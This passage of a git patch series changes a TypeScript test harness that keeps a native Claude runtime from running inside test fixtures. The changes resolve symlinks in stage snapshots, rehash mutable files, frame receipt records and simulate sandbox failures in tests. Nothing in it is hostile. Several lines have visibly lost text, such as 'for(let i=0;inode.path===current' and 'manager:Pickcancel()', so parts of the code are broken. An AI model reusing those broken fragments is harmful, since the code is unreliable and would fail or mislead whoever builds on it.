reader.read();check();if(part.done)break;bytes+=part.value.byteLength;bufferedBytes+=part.value.byteLength;peakBufferedBytes=Math.max(peakBufferedBytes,bufferedBytes);if(bytes>row.bytes)throw Error("Stage inspection file grew");pieces.push(part.value);} const receipt=await copy.completed;if(bytes!==row.bytes||receipt.bytes!==bytes||receipt.workerUid!==uid||copy.workerUid!==uid)throw Error("Stage inspection reader receipt changed"); - const inspected=Buffer.concat(pieces,bytes);if(!useInPlace()){writeFileSync(target,inspected,{mode:row.mode,flag:"wx"});copiedFiles++;}inspectedBytes=inspected; + const inspected=Buffer.concat(pieces,bytes);inspectedBytes=inspected;if(!useInPlace()){writeFileSync(target,inspected,{mode:row.mode,flag:"wx"});copiedFiles++;}inspectedBytes=inspected; }catch(error){if(!markOpaque(row,error))throw error;}finally{await reader.cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);activeReaders--;bufferedBytes-=bytes;} } }else throw Error("Unsupported stage inspection node"); const after=await manager.statStage(id,row.path,uid);if(!after||after.stamp!==row.stamp)throw Error("Stage inspection changed"); if(reader&&stageMetadataKey(row,reader)!==entryKey)throw Error("Stage full entry key changed"); - if(readFindingKey&&inspectedBytes){rememberStageBytes(readFindingKey,inspectedBytes);stageReadableKeys.add(readFindingKey);if(stageReadableKeys.size>200000)stageReadableKeys.delete(stageReadableKeys.values().next().value!);} check();if(row.kind==="file"||row.kind==="symlink")assertPreparedFixtureExecutable(row.path,target,row.mode); }); } @@ -1603,7 +1609,29 @@ async function captureNativeFixtureStageInspected(manager:Pickcancel()));await Promise.allSettled([...pending]); nativeReceipt({kind:"native-fixture-inspection-resources",head:nativeTestHead(),readerLimit:3,peakReaders,peakBufferedBytes,inPlaceFiles,copiedFiles,reusedPrivateFiles,processMaxRssKiB:process.resourceUsage().maxRSS,drained:activeReaders===0,success:!failed});} - check();stageOpaqueNodes.set(stamps,opaque);stageEntryKeys.set(stamps,keys); + check(); + // Resolve every link inside the captured stage graph; never follow an outside + // target merely because the link's own metadata was available. + for(const relative of links.keys()){ + const root=reader?.root??snapshot;let current=relative; + const seen=new Set(); + for(let depth=0;;depth++){ + if(depth>256||seen.has(current))throw Error("Stage symlink cycle");seen.add(current); + const parts=current.split("/");let changed=false; + for(let i=0;inode.path===current||current.startsWith(node.path+"/")))throw Error("Stage symlink target is opaque"); + const target=join(snapshot,current);if(lstatSync(target).isFile()||inPlaceFixtureFiles.get(realpathSync(target))?.has(snapshot)){if(isNativeClaude(inspectionAccessPath(target,{managed:true,snapshot} as KeeperInspection)))refuse("native runtime in stage symlink target");} + break; + } + } + stageEntryLinks.set(stamps,links);stageOpaqueNodes.set(stamps,opaque);stageEntryKeys.set(stamps,keys); + stageEntryHashes.set(stamps,new Map([...stamps.keys()].filter(path=>{if(opaque.some(node=>node.path===path||path.startsWith(node.path+"/")))return false;try{return lstatSync(join(snapshot,path)).isFile()||inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.has(snapshot);}catch{return false;}}).map(path=>[path,fileHash(inspectionAccessPath(join(snapshot,path),{managed:true,snapshot} as KeeperInspection))]))); return stamps; } const usedManagedKeepers=new WeakSet(); @@ -1833,7 +1861,7 @@ async function createNativeFixtureManagedKeeperInspected(storage:import("../pack let ticket:{fd:number;close():void},snapshot:string; try{ticket=await native.manager.attestStage(id);}catch{return refuse("managed fixture keeper snapshot is unavailable");} try{snapshot=nativeFixtureDirectory("odysseus-managed-inspection-");}catch{ticket.close();return refuse("managed fixture keeper snapshot is unavailable");} - let ticketBytes:Buffer,stamp:ReturnType,stageStamps:ReadonlyMap|undefined;let fullStageKeys:ReadonlyMap|undefined;let opaque:OpaqueStageNode[]=[],readerIdentity:StageReaderIdentity|undefined,metadataChannel:Awaited>|undefined; + let ticketBytes:Buffer,stamp:ReturnType,stageStamps:ReadonlyMap|undefined;let fullStageKeys:ReadonlyMap|undefined;let stageHashes:ReadonlyMap|undefined;let stageLinks:ReadonlyMap|undefined;let opaque:OpaqueStageNode[]=[],readerIdentity:StageReaderIdentity|undefined,metadataChannel:Awaited>|undefined; const managerOptions=fixtureManagerConnection(native.manager); let managerSocket:ReturnType|undefined; if(managerOptions){try{managerSocket=lstatSync(managerOptions.socketPath);if(!managerSocket.isSocket()||managerSocket.uid!==0||realpathSync(managerOptions.socketPath)!==managerOptions.socketPath)throw Error("Unpinned manager socket");}catch{metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);return refuse("managed fixture keeper private reader is unavailable");}} @@ -1841,24 +1869,25 @@ async function createNativeFixtureManagedKeeperInspected(storage:import("../pack if(!stageStamps)return true; if(metadataOnly){try{const root=lstatSync(join(storage.root,"merged"),{bigint:true}),stamp=`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`;if(stamp!==stageStamps.get("")||!metadataChannel||!readerIdentity)return false;verifyStageMetadataEvidence(metadataChannel.inspect("",stamp,String(root.ino)),readerIdentity,"directory",stamp,[0,13]);return true;}catch{return false;}} + try{for(const owners of inPlaceFixtureFiles.values()){const finding=owners.get(snapshot);if(finding&&!recheckMutableFixtureFinding(finding))return false;}}catch{return false;} if(fullStageKeys&&readerIdentity){try{ for(const [path,key] of fullStageKeys){const expected=stageStamps.get(path);if(!expected) return false; // The production reader's stamp is preserved; all additional fields come // from the same pinned view or the exact Q7 metadata-only channel. - const [inode,bytes]=expected.split(":");const old=key.split(":");const mode=Number(old[5])&0o7777,kind=(Number(old[5])&0o170000)===0o040000?"directory":"file"; + const [inode,bytes]=expected.split(":");const old=key.split(":");const mode=Number(old[5])&0o7777,kind=(Number(old[5])&0o170000)===0o040000?"directory":(Number(old[5])&0o170000)===0o120000?"symlink":"file"; if(stageMetadataKey({path,kind,stamp:expected,mode,bytes:Number(bytes),inode:inode!},readerIdentity)!==key)return false; } }catch{return false;}} try{for(const node of opaque)recheckOpaqueStageNode(join(storage.root,"merged",node.path),node,readerIdentity!);}catch{return false;} let local=true; try{for(const[path,expected]of stageStamps){const actual=lstatSync(join(storage.root,"merged",path),{bigint:true});if(`${actual.ino}:${actual.size}:${actual.mtimeNs}:${actual.ctimeNs}`!==expected){local=false;break;}}}catch{local=false;} - if(local&&!opaque.length)return true; + if(local&&!opaque.length&&!stageLinks?.size&&![...stageHashes??[]].some(([path])=>!inPlaceFixtureFiles.get(realpathSync(join(snapshot,path)))?.has(snapshot)))return true; if(!managerOptions||!managerSocket)return false; try{ const root=lstatSync(join(storage.root,"merged"),{bigint:true});if(`${root.ino}:${root.size}:${root.mtimeNs}:${root.ctimeNs}`!==stageStamps.get(""))return false; const socket=lstatSync(managerOptions.socketPath);if(!socket.isSocket()||socket.dev!==managerSocket.dev||socket.ino!==managerSocket.ino||socket.uid!==0)return false; if(!metadataRuntime)return false;const executable=statSync(metadataRuntime.path,{bigint:true});if(executable.dev!==metadataRuntime.stamp.dev||executable.ino!==metadataRuntime.stamp.ino||executable.size!==metadataRuntime.stamp.size)return false; - const result=metadataSpawnSync([metadataRuntime.path,"--no-env-file",join(ROOT,"scripts/native-stage-metadata-check.ts")],{env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from(JSON.stringify({options:managerOptions,id,uid,entries:[...stageStamps],opaque})),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); + const result=metadataSpawnSync([metadataRuntime.path,"--no-env-file",join(ROOT,"scripts/native-stage-metadata-check.ts")],{env:{PATH:"/usr/bin:/bin"},stdin:Buffer.from(JSON.stringify({options:managerOptions,id,uid,entries:[...stageStamps],hashes:[...stageHashes??[]],links:[...stageLinks??[]],opaque})),stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); const after=lstatSync(managerOptions.socketPath);return result.exitCode===0&&String(result.stdout).trim()==='{"current":true}'&&after.dev===socket.dev&&after.ino===socket.ino&&after.uid===0; }catch{return false;} }; @@ -1879,7 +1908,7 @@ async function createNativeFixtureManagedKeeperInspected(storage:import("../pack readerIdentity={uid,gids:[authority.appGid],...(metadataChannel?{inspect:metadataChannel.inspect}:{}),root:join(storage.root,"merged"),forbidden:nativeTripwireMaskPaths().flatMap(path=>[path,...[join(storage.mount,"merged"),brain].filter(root=>within(root,path)).map(root=>join(storage.root,"merged",path.slice(root.length)))])}; const entries=metadataOnly?new Map():await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot,readerIdentity);opaque=stageOpaqueNodes.get(entries)??[]; if(metadataOnly)nativeReceipt({kind:"native-fixture-probe-metadata",head:nativeTestHead(),state:"unknown",contents:"not-inspected"}); - stageStamps=new Map([["",rootStamp],...entries]);fullStageKeys=metadataOnly?undefined:new Map([["",fixturePathKey(join(storage.root,"merged"))],...stageEntryKeys.get(entries)??[]]); + stageStamps=new Map([["",rootStamp],...entries]);stageHashes=stageEntryHashes.get(entries);stageLinks=stageEntryLinks.get(entries);fullStageKeys=metadataOnly?undefined:new Map([["",fixturePathKey(join(storage.root,"merged"))],...stageEntryKeys.get(entries)??[]]); // registerFixtureKeeper performs the complete post-capture check in its // synchronous validation walk before publishing the registration. }catch{metadataChannel?.close();ticket.close();clearOpaqueSnapshot(snapshot);removeFixtureSnapshot(snapshot);return refuse("managed fixture keeper snapshot is unavailable");} diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts index 2f0ae9d0c4..ccedf384f8 100644 --- a/tests/native-managed-inspection.test.ts +++ b/tests/native-managed-inspection.test.ts @@ -172,9 +172,9 @@ test("a native runtime planted after findings warm is detected without execution }); test("acknowledgement clock subtracts only guard-owned intervals",async()=>{ - const {nativeFixtureGuardTiming,isNativeClaude}=await import("../scripts/test-native-guard"); + const {nativeFixtureGuardTimingWindow,isNativeClaude}=await import("../scripts/test-native-guard"); const {nativeReceipt}=await import("../scripts/native-test-receipts"); - const start=performance.now();isNativeClaude("/usr/bin/true");await Bun.sleep(20);const end=performance.now(),timing=nativeFixtureGuardTiming(start,end); + const window=nativeFixtureGuardTimingWindow(),start=window.startMs;isNativeClaude("/usr/bin/true");await Bun.sleep(20);const timing=window.close(),end=timing.windowEndMs; expect(timing.rawMs).toBe(end-start);expect(timing.guardMs).toBeGreaterThan(0);expect(timing.productMs,"PRODUCT_WORK_REMAINS_ON_PRODUCT_CLOCK").toBeGreaterThanOrEqual(15); expect(timing.guardMs).toBe(timing.intervals.reduce((sum,row)=>sum+row.endMs-row.startMs,0)); for(let i=1;i{ let root:string,path:string,initial:{key:string;hash:string};const fixed=new Date("2026-07-12T00:00:00Z"); beforeAll(async()=>{const {utimesSync}=await import("node:fs"),{nativeFixtureFileFinding}=await import("../scripts/test-native-guard");root=mkdtempSync("/tmp/odysseus-between-tests-");path=join(root,"loom.md");writeFileSync(path,"Ithaca\n",{mode:0o600});utimesSync(path,fixed,fixed);initial=nativeFixtureFileFinding(path);}); afterAll(()=>rmSync(root,{recursive:true,force:true})); - test("a first test can reuse the existing complete-key finding",async()=>{ + test("a first test rehashes mutable bytes even with the same complete key",async()=>{ const {nativeFixtureFileFinding,nativeFixtureFindingCounts}=await import("../scripts/test-native-guard");const first=nativeFixtureFileFinding(path),before=nativeFixtureFindingCounts(); - expect(nativeFixtureFileFinding(path)).toEqual(first);expect(nativeFixtureFindingCounts().reused).toBeGreaterThan(before.reused); + expect(nativeFixtureFileFinding(path)).toEqual(first);expect(nativeFixtureFindingCounts().inspected,"MUTABLE_BYTES_REHASHED_WITH_SAME_KEY").toBe(before.inspected+1); }); test("a later test's same-path content and ctime change is re-inspected",async()=>{ const {utimesSync}=await import("node:fs"),{nativeFixtureFileFinding,nativeFixtureFindingCounts}=await import("../scripts/test-native-guard"); @@ -218,15 +218,59 @@ describe("findings remain safe between tests in one process",()=>{ }); test("a source-identical guard module keeps timing issuance private across query instances",async()=>{ - const variant=await import(new URL("../scripts/test-native-guard.ts?timing-fixture",import.meta.url).href),start=performance.now(); + const variant=await import(new URL("../scripts/test-native-guard.ts?timing-fixture",import.meta.url).href),window=variant.nativeFixtureGuardTimingWindow(); expect(variant.isNativeClaude("/usr/bin/true")).toBe(false); - expect(variant.nativeFixtureGuardTiming(start,performance.now()).guardMs).toBeGreaterThan(0); + expect(window.close().guardMs).toBeGreaterThan(0); }); -test("nested classifiers issue one enclosing guard interval",async()=>{ +test("nested classifiers write only to their explicit private timing window",async()=>{ const {spawnGuardFixture}=await import("./helpers/native-receipt-fixture"); - const code=`import {nativeWorkerBoundary} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))};nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})});`; - const child=spawnGuardFixture([process.execPath,"--no-env-file","-e",code],{stdout:"pipe",stderr:"pipe"});const [exit,out]=await Promise.all([child.exited,child.guardOutput()]); - expect(exit,out).toBe(0);const rows=out.split("\n").flatMap(line=>{try{return [JSON.parse(line)];}catch{return [];}}).filter(row=>row.kind==="native-guard-interval"); + const code=`import {nativeWorkerBoundary,nativeFixtureGuardTimingWindow,isNativeClaude} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; + isNativeClaude("/usr/bin/true"); + const window=nativeFixtureGuardTimingWindow();nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})}); + const timing=window.close();isNativeClaude("/usr/bin/true");console.log(JSON.stringify(timing));`; + const child=spawnGuardFixture([process.execPath,"--no-env-file","-e",code],{stdout:"pipe",stderr:"pipe"});const [exit,out,stdout]=await Promise.all([child.exited,child.guardOutput(),new Response(child.stdout).text()]); + expect(exit,out).toBe(0); + expect(out,"NO_TIMING_INTERVAL_ON_SHARED_CHANNEL_INSIDE_OR_OUTSIDE_WINDOW").not.toContain("native-guard-interval"); + const rows=JSON.parse(stdout.trim()).receipts; expect(rows,"NESTED_GUARD_INTERVALS_ARE_NOT_WRITTEN_REPEATEDLY").toHaveLength(1);expect(rows[0].operation).toBe("plan-inspection");expect(rows[0].endMs).toBeGreaterThanOrEqual(rows[0].startMs); }); + +test("mutable same-size rewrites are rehashed even when kernel timestamp keys repeat",async()=>{ + const {nativeFixtureFileFinding}=await import("../scripts/test-native-guard"),{utimesSync}=await import("node:fs"),{createHash}=await import("node:crypto"); + const root=mkdtempSync("/tmp/odysseus-mutable-rehash-"),path=join(root,"loom.md"),fixed=new Date("2026-07-12T00:00:00Z");let repeatedKeys=0,changedCtimes=0; + try{for(let i=0;i<40;i++){ + writeFileSync(path,"Ithaca\n");utimesSync(path,fixed,fixed);const before=nativeFixtureFileFinding(path),old=lstatSync(path,{bigint:true}); + writeFileSync(path,"Troy!!\n");utimesSync(path,fixed,fixed);const after=nativeFixtureFileFinding(path),now=lstatSync(path,{bigint:true}); + if(before.key===after.key)repeatedKeys++;if(old.ctimeNs!==now.ctimeNs)changedCtimes++; + expect(now.ino).toBe(old.ino);expect(now.size).toBe(old.size);expect(now.mtimeNs).toBe(old.mtimeNs); + expect(after.hash,"MUTABLE_REHASH_CATCHES_RESTORED_TIMESTAMP_BYTES").toBe(createHash("sha256").update("Troy!!\n").digest("hex")); + expect(after.hash).not.toBe(before.hash); + }console.log(JSON.stringify({mutableRehashProof:{attempts:40,repeatedKeys,changedCtimes,ctimeSettableByUtimes:false}}));} + finally{rmSync(root,{recursive:true,force:true});} +}); + +for(const mode of ["inside","outside","uninspected","cycle"] as const)test(`stage link target classification: ${mode}`,async()=>{ + const {symlinkSync}=await import("node:fs");const source=mkdtempSync("/tmp/odysseus-link-source-"),snapshot=mkdtempSync("/tmp/odysseus-link-view-"); + writeFileSync(join(source,"loom"),"Ithaca\n");const link=mode==="inside"?"loom":mode==="outside"?"../outside":mode==="cycle"?"link":"missing";symlinkSync(link,join(source,"link")); + const rows=["loom","link"].map(path=>{const value=lstatSync(join(source,path),{bigint:true});return {path,kind:path==="link"?"symlink":"file",target:path==="link"?link:undefined,mode:Number(value.mode)&0o7777,bytes:Number(value.size),inode:String(value.ino),stamp:`${value.ino}:${value.size}:${value.mtimeNs}:${value.ctimeNs}`};}); + const manager={async listStage(){return rows;},async statStage(_id:string,path:string){return rows.find(row=>row.path===path);},async readStage(){return {workerUid:21002,stream:new ReadableStream({start(c){c.enqueue(Buffer.from("Ithaca\n"));c.close();}}),completed:Promise.resolve({workerUid:21002,bytes:7})};}}; + try{const work=captureNativeFixtureStage(manager as never,"stage",21002,1024,snapshot);if(mode==="inside")await work;else await expect(work,"STAGE_LINK_TARGET_NOT_ASSUMED_CLEAN").rejects.toThrow();} + finally{rmSync(snapshot,{recursive:true,force:true});rmSync(source,{recursive:true,force:true});} +}); + +test("a link to an inspected native runtime inside the stage refuses without execution",async()=>{ + const {spawnGuardFixture}=await import("./helpers/native-receipt-fixture"); + const code=`import {captureNativeFixtureStage} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; + import {bundledClaudeBinary} from ${JSON.stringify(join(import.meta.dir,"../packages/core/src/providers/agents/claude-binary.ts"))}; + import {mkdtempSync,copyFileSync,chmodSync,symlinkSync,lstatSync,rmSync,constants} from "node:fs";import {join} from "node:path"; + const source=mkdtempSync("/tmp/odysseus-stage-native-link-"),snapshot=mkdtempSync("/tmp/odysseus-stage-native-view-"); + try{copyFileSync(bundledClaudeBinary(),join(source,"runtime"),constants.COPYFILE_FICLONE);chmodSync(join(source,"runtime"),0o500);symlinkSync("runtime",join(source,"link")); + const rows=["runtime","link"].map(path=>{const i=lstatSync(join(source,path),{bigint:true});return {path,kind:path==="link"?"symlink":"file",target:path==="link"?"runtime":undefined,mode:Number(i.mode)&0o7777,bytes:Number(i.size),inode:String(i.ino),stamp:[i.ino,i.size,i.mtimeNs,i.ctimeNs].join(":")};}); + const manager={async listStage(){return rows;},async statStage(_id,path){return rows.find(row=>row.path===path);},async readStage(){const file=Bun.file(join(source,"runtime"));return {workerUid:21002,stream:file.stream(),completed:Promise.resolve({workerUid:21002,bytes:file.size})};}}; + let refused=false;try{await captureNativeFixtureStage(manager,"stage",21002,rows[0].bytes,snapshot);}catch(error){if(!String(error).includes("native runtime in stage symlink target"))throw error;refused=true;} + if(!refused)throw Error("NATIVE_STAGE_LINK_TARGET_IS_NOT_ASSUMED_CLEAN");console.error("NATIVE_STAGE_LINK_TARGET_REFUSED"); + }finally{rmSync(snapshot,{recursive:true,force:true});rmSync(source,{recursive:true,force:true});}`; + const child=spawnGuardFixture([process.execPath,"--no-env-file","-e",code],{stdout:"pipe",stderr:"pipe"});const [exit,out]=await Promise.all([child.exited,child.guardOutput()]); + expect(exit,out).toBe(1);expect(out,"NATIVE_STAGE_LINK_TARGET_IS_NOT_ASSUMED_CLEAN").toContain("NATIVE_STAGE_LINK_TARGET_REFUSED"); +}); From f6b6430b5daf8fb09059ee5510a73178c10650c1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 12:17:08 +0000 Subject: [PATCH 141/187] fix(test): frame receipt reads and select bootstrap evidence --- scripts/native-test-receipts.ts | 4 ++-- tests/native-receipt-channel.test.ts | 17 ++++++++++++++++- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index deb4e02bd9..ef3ea3eb85 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -166,9 +166,9 @@ export function inheritNativeReceipts(options:Record,argv:readonly s } return {options:{...rest,stdio,env:{...(options.env??process.env),[KEY]:token}},argv:command}; } -export function captureNativeReceipts():{env:Record;read():string;recordGuardTiming(value:Record):void;dispose():void} { +export function captureNativeReceipts():{env:Record;read():string;readRecords():Record[];recordGuardTiming(value:Record):void;dispose():void} { const {sink,directory,file}=createSink(false);let closed=false; - return {env:{[KEY]:JSON.stringify(sink)},recordGuardTiming(value){if(closed||!same(sink))throw Error("Native receipt capture changed");if(value.kind!=="native-guard-interval")throw Error("Unowned native guard timing interval refused");verifyGuardTimingReceipt(value);writeReceipt(sink.fd,JSON.stringify(value)+"\n");},read(){if(!same(sink))throw Error("Native receipt capture changed");return readFileSync(file,"utf8");},dispose(){if(closed)return;closed=true;closeSync(sink.fd);rmSync(directory,{recursive:true,force:true});}}; + return {env:{[KEY]:JSON.stringify(sink)},recordGuardTiming(value){if(closed||!same(sink))throw Error("Native receipt capture changed");if(value.kind!=="native-guard-interval")throw Error("Unowned native guard timing interval refused");verifyGuardTimingReceipt(value);writeReceipt(sink.fd,JSON.stringify(value)+"\n");},read(){if(!same(sink))throw Error("Native receipt capture changed");return readFileSync(file,"utf8");},readRecords(){if(closed||!same(sink))throw Error("Native receipt capture changed");const bytes=readFileSync(file),end=bytes.lastIndexOf(10);return end<0?[]:bytes.subarray(0,end).toString("utf8").split("\n").filter(Boolean).map(line=>JSON.parse(line) as Record);},dispose(){if(closed)return;closed=true;closeSync(sink.fd);rmSync(directory,{recursive:true,force:true});}}; } export function withoutNativeReceipts(options:Record):Record&{env:Record}{ const env={...(options.env??process.env)}; diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts index 1edc86e57f..d8b992af97 100644 --- a/tests/native-receipt-channel.test.ts +++ b/tests/native-receipt-channel.test.ts @@ -55,7 +55,9 @@ test("an already-exited bootstrap still reports numeric exit evidence through th const child=Bun.spawn([process.execPath,"-e",script],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"}); const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(code,err).toBe(0);expect(err).toBe("");expect(JSON.parse(out)).toEqual({exitCode:0,signalCode:null}); - expect(JSON.parse(capture.read())).toMatchObject({kind:"native-offline-bootstrap-exit",exitCode:0,signal:null}); + const records=capture.readRecords().filter(row=>row.kind==="native-offline-bootstrap-exit");expect(records).toHaveLength(1); + expect(records[0]).toMatchObject({kind:"native-offline-bootstrap-exit",exitCode:0,signal:null}); + expect(capture.read(),"NO_INTERVALS_ON_BOOTSTRAP_OWNER_CHANNEL").not.toContain("native-guard-interval"); }finally{capture.dispose();} }); @@ -191,3 +193,16 @@ test("an owner's exit refusal survives receipt sink cleanup and fails locally",a expect(records.filter(value=>value.kind==="native-offline-invocation-failed"),"EXIT_REFUSAL_IS_RETAINED_AFTER_SINK_CLOSE").toHaveLength(1); expect(stderr,"CLOSED_SINK_CANNOT_THROW_DURING_EXIT").not.toContain("Native receipt descriptor identity changed"); }); + +test("receipt framing waits for a partial record and preserves concurrent complete records",async()=>{ + const {writeSync}=await import("node:fs"),capture=captureNativeReceipts(); + try{ + const descriptor=JSON.parse(Object.values(capture.env)[0]!).fd; + writeSync(descriptor,'{"kind":"partial-frame",');expect(capture.readRecords(),"PARTIAL_RECORD_IS_NOT_PARSED").toEqual([]); + writeSync(descriptor,'"complete":true}\n');expect(capture.readRecords()).toEqual([{kind:"partial-frame",complete:true}]); + const children=[0,1].map(writer=>Bun.spawn([process.execPath,"-e",`import {nativeReceipt} from ${JSON.stringify(receiptModule)};for(let index=0;index<32;index++)nativeReceipt({kind:"concurrent-frame",writer:${writer},index});`],{env:{PATH:"/usr/bin:/bin",...capture.env},stdout:"pipe",stderr:"pipe"})); + for(const child of children){const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]);expect(code,err).toBe(0);} + const rows=capture.readRecords();expect(rows).toHaveLength(65); + for(const writer of [0,1])expect(rows.filter(row=>row.kind==="concurrent-frame"&&row.writer===writer).map(row=>row.index),"CONCURRENT_RECORDS_STAY_FRAMED").toEqual(Array.from({length:32},(_,i)=>i)); + }finally{capture.dispose();} +}); From 6bc6b2f6458465d9d42bb1481c559fca187ffceb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 12:17:08 +0000 Subject: [PATCH 142/187] fix(test): initialize qualification faults before tool capture --- tests/helpers/native-boundary-fixture.ts | 10 ++++++++++ tests/native-guard-regressions.test.ts | 13 ++++++++----- tests/native-offline-boundary.test.ts | 15 +++++++++------ 3 files changed, 27 insertions(+), 11 deletions(-) diff --git a/tests/helpers/native-boundary-fixture.ts b/tests/helpers/native-boundary-fixture.ts index a59c2d2b58..a076b98569 100644 --- a/tests/helpers/native-boundary-fixture.ts +++ b/tests/helpers/native-boundary-fixture.ts @@ -37,3 +37,13 @@ export const guardMountOrderCheck = `function assertGuardMountOrder(mounts,expec } }`; + +/** Inject a keyless qualification fault before this fixture captures its tools. + * The outer unknown envelope keeps O1 masks across exec; the inner interceptor + * is installed before any service or boundary runs. No native payload launches. + */ +export async function probeGuardInitialization(script:string,home:string){ + const config=join(home,"qualification-bunfig.toml"),path=join(home,"qualification-probe.ts");writeFileSync(config,"");writeFileSync(path,script); + const child=spawnGuardFixture(["/usr/bin/python3","-I","-S","-c","import os,sys;os.execv(sys.argv[1],sys.argv[1:])",process.execPath,"--config="+config,path],{env:{PATH:"/usr/bin:/bin",HOME:home},stdout:"pipe",stderr:"pipe"}); + const [code,output]=await Promise.all([child.exited,child.guardOutput()]);return {code,output}; +} diff --git a/tests/native-guard-regressions.test.ts b/tests/native-guard-regressions.test.ts index de7f9f1c55..5d8819544b 100644 --- a/tests/native-guard-regressions.test.ts +++ b/tests/native-guard-regressions.test.ts @@ -27,17 +27,20 @@ test("qualification stderr retains bounded scrubbed probe and exit evidence",()= }); test("failed namespace qualification retains stderr even when receipts are suppressed",async()=>{ - const {mkdtempSync,readdirSync,rmSync}=await import("node:fs"),{join}=await import("node:path"),{spawnGuardFixture}=await import("./helpers/native-receipt-fixture"); + const {mkdtempSync,readdirSync,rmSync}=await import("node:fs"),{join}=await import("node:path"),{probeGuardInitialization}=await import("./helpers/native-boundary-fixture"); const root=mkdtempSync("/tmp/odysseus-qualification-retained-"),repo=join(import.meta.dir,".."); try{ const code=`import {mock} from "bun:test"; const receipts=await import(${JSON.stringify(join(repo,"scripts/native-test-receipts.ts"))});mock.module(${JSON.stringify(join(repo,"scripts/native-test-receipts.ts"))},()=>({...receipts,nativeReceipt:()=>{}})); process.argv.push("--default-phase=fresh","--native-identity-startup-audit="+${JSON.stringify(root)}); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const spawnSync=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv[0]==="bwrap"?{exitCode:1,signalCode:null,stdout:Buffer.alloc(0),stderr:Buffer.from("uid_map operation not permitted at /tmp/odysseus-private/probe")}:spawnSync(argv,options); - const {nativeClaudeBoundary}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))});try{nativeClaudeBoundary("/synthetic/never-executed",[],{});}catch{}`; - const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,err]=await Promise.all([child.exited,child.guardOutput()]); - expect(exit).not.toBe(0);expect(err).not.toContain('"kind":"native-offline-boundary"'); + const spawnSync=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv.includes("--unshare-all")&&argv.at(-1)==="/usr/bin/true"?{exitCode:1,signalCode:null,stdout:Buffer.alloc(0),stderr:Buffer.from("uid_map operation not permitted at /tmp/odysseus-private/probe")}:spawnSync(argv,options); + const {nativeClaudeBoundary,nativeScriptedService}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); + const {installNetworkGuard}=await import(${JSON.stringify(join(repo,"scripts/test-network-guard.ts"))});installNetworkGuard(); + const service=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){return new Response("fixture");}}),leave=nativeScriptedService(service.url.origin); + try{nativeClaudeBoundary("/synthetic/never-executed",[],{});}catch{}finally{leave();service.stop(true);}`; + const {code:exit,output:err}=await probeGuardInitialization(code,root); + expect(exit,err).not.toBe(0);expect(err).not.toContain('"kind":"native-offline-boundary"'); const files=readdirSync(root).filter(name=>name.startsWith("native-boundary-failure-"));expect(files).toHaveLength(1); const record=JSON.parse(readFileSync(join(root,files[0]!),"utf8")); expect(record,"QUALIFICATION_STDERR_IS_WIRED_TO_RETAINED_FAILURE").toMatchObject({phase:"fresh",reason:"OS namespace setup failed",qualification:{probe:"bwrap",exitCode:1,signal:null}}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index bc61e31bbc..d862f15b37 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -5,7 +5,7 @@ import {chmodSync,copyFileSync,existsSync,mkdirSync,mkdtempSync,rmSync,symlinkSy import {dirname,join} from "node:path"; import {tmpdir} from "node:os"; import {isNativeClaude,nativeClaudeBoundary} from "../scripts/test-native-guard"; -import {ROOT,runtime,probe,imports,guardMountOrderCheck} from "./helpers/native-boundary-fixture"; +import {ROOT,runtime,probe,probeGuardInitialization,imports,guardMountOrderCheck} from "./helpers/native-boundary-fixture"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; test("a harmless fixture named claude runs without native admission", async () => { @@ -126,11 +126,13 @@ test("native identity uses the child's PATH and cwd", async () => { test("missing bubblewrap emits a failed receipt and cannot be caught into success", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-missing-isolation-")); try { - const result = await probe(`${imports} + const result = await probeGuardInitialization(` process.env.GITHUB_ACTIONS="true"; process.env.RUNNER_ENVIRONMENT="github-hosted"; - const which=Bun.which; - Bun.which=((name,options)=>name==="bwrap"?null:which(name,options)); - try { nativeClaudeBoundary(${JSON.stringify(runtime)}, [], {}); } catch {} process.exit(0);`, scratch); + const which=Bun.which;Bun.which=((name,options)=>name==="bwrap"?null:which(name,options)); + const {nativeClaudeBoundary,nativeScriptedService}=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); + const {installNetworkGuard}=await import(${JSON.stringify(join(ROOT,"scripts/test-network-guard.ts"))});installNetworkGuard(); + const 